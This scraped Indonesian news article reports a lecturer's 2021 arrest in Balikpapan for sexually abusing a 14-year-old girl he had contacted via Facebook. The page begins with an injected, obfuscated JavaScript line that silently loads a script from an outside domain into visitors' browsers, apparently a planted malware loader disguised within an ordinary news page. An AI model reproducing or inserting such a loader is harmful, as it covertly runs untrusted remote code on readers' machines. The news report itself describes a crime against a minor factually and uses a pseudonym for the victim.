(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PENAJAM – AL (44), oknum dosen salah satu universitas swasta di Balikpapan mencabuli anak di bawah umur, sebut saja Bunga (14), Selasa (7/9/2021).
Perilaku amoral AL dilakukan di salah satu hotel bintang empat di pusat Kota Balikpapan. Bersama tersangka, diamankan barang bukti satu unit sepeda motor matik.
AL diamankan anggota Kepolisian Penajam Paser Utara (PPU) sesaat setelah meninggalkan hotel, Rabu (8/9/2021) pagi.
“Kami amankan tersangka saat berada di depan kantornya kawasan Balikpapan Permai,” kata Kasatreskrim Polres PPU Iptu Dian Kusnawan pada rilis kasus yang berlangsung, Senin (13/9/2021).
Baca juga : DPRD Kapuas Gelar Penandatanganan Nota Kesepakatan Perubahan KUA-PPAS 2021
Penangkapan AL, kata Dian, bermula dari laporan orangtua korban yang khawatir lantaran Bunga tak kunjung pulang dari sekolah, Selasa (7/9/2021) siang.
Dian meneruskan, perkenalan dua orang ini bermula dari facebook sejak 28 Agustus lalu. Setelah perkenalan itu, Bunga, dan AL mulai intens berkomunikasi.
Puncaknya, Selasa (7/9/2021) AL yang menjemput Bunga di depan sekolahnya yang berada di salah satu SMP Negeri, kawasan Babulu, PPU. Anak 14 tahun itu diiming-imingi pekerjaan di Balikpapan, dan menurut sama apa kata AL.
“Korban ditawari pekerjaan menjaga toko handsanitizer milik tersangka,” beber Dian.
Baca juga : Vaksinasi Menyasar Mahasiswa dan Warga Kampus ULM Banjarmasin
Menggunakan sepeda motor, siang itu AL lantas membonceng Bunga menuju pelabuhan kelotok Penajam, sebelum dibawa ke hotel berbintang di pusat Kota Balikpapan. Di perjalanan, siswi kelas 1 SMP ini juga sempat menjual handphone-nya.
“Hasil penjualan handphone diambil sendiri oleh korban. Jadi tidak diambil tersangka,” kata dia.
Di Balikpapan, AL yang juga pernah mancalonkan diri sebagai Wali Kota Balikpapan ini, mengaku dua kali mencabuli Bunga.
“Dari keterangan tidak ada pemaksaan saat pencabulan terjadi,” ungkap Dian.
Baca juga : Lencana Pancawarsa Dianugerahkan ke 67 Pembina Pramuka se Kalsel
Hasil visum, kata Dian, juga menunjukkan adanya tanda-tanda pencabulan terhadap Bunga.
Dian juga menyebut tersangka sebelumnya pernah terbelit kasus hukum di Balikpapan.
“Kasusnya masalah UU ITE, tapi detailnya kami belum tahu ya,” kata dia.
Sementara AL lebih banyak tertunduk sepanjang jalannya rilis. Ia juga tak banyak berkomentar saat dimintai keterangan.
Baca juga : Jubir Banggar DPRD Kapuas Sampaikan Laporan Hasil Pembahasan Rancangan Perubahan KUA-PPAS
“No comment, nanti pengacara saya saja yang bicara,” kata AL.
Akibat ulahnya, AL harus mendekam di balik jeruji besi. Dia dijerat pasal 81 ayat 2 UU nomor 17 tahun 2006 tentang perlindungan anak, dengan ancaman 7 sampai 15 tahun penjara. (Suara.com)
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
This website uses cookies.